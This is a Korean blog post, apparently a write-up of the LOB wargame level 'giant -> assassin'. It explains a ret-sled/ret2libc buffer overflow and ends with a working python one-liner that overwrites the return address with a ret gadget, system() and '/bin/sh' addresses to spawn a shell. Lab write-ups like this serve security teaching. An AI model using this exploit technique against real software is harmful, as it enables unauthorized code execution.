반응형
giant -> assassin 으로 접속합니다.
스택도 안되고 RTL도 안된답니다. 흑....
그럼 다른 방법을 사용합시다.
Ret Sled
스택영역을 ret를 덮어씌울 수 없으므로, ret영역에 ret 명령의 주소를 쓰는 것이다.
dummy+&ret+&shellcode+shellcode
esp 가 ret를 가리키고
정상적인 ret가 수행되면서 esp+4
ret명령이 한번 더 실행되며 shellcode의 주소로 점프
shellcode 실행
한마디로 ret영역에 ret명령 주소를 씌이면 그 다음 주소로 간다는 거네요
그럼 그 다음 주소에 system() 의 주소를 넣으면 되겠네요
44byte dummy + 4byte RET + system() ADDR + 4byte dummy + /bin/sh ADDR
ret - 0x804851e
System - 0x40058ae0
/bin/sh - 0x400fbff9
그럼 공격 코드를 작성해보면
./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"'`
이렇게 되겠네요
반응형
'Security > Pwnable' 카테고리의 다른 글
LOB Level 17 zombie_assassin (0) | 2021.08.10 |
---|---|
LOB Level 16 assassin (0) | 2021.08.10 |
LOB Level 14 bugbear (0) | 2021.08.10 |
LOB Level 13 darkknight (0) | 2021.08.10 |
LOB Level 12 golem (0) | 2021.08.10 |